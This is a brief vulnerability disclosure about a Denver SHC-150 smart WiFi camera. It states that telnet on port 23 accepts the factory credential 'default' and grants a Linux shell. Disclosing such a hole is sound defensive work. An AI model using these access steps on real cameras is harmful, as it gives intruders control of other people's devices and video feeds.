Backdoor was found in a Denver SHC-150 Smart Wifi Camera. Maybe other models also have this backdoor too.

So, backdoor is a factory telnet credential - `default`. Just open the telnet connection with the camera on port 23 and enter `default` (yes, on these cameras, telnet service is served on port 23). After this, you'll get a Linux shell. Backdoor allows an attacker to execute commands on OS lever through telnet.
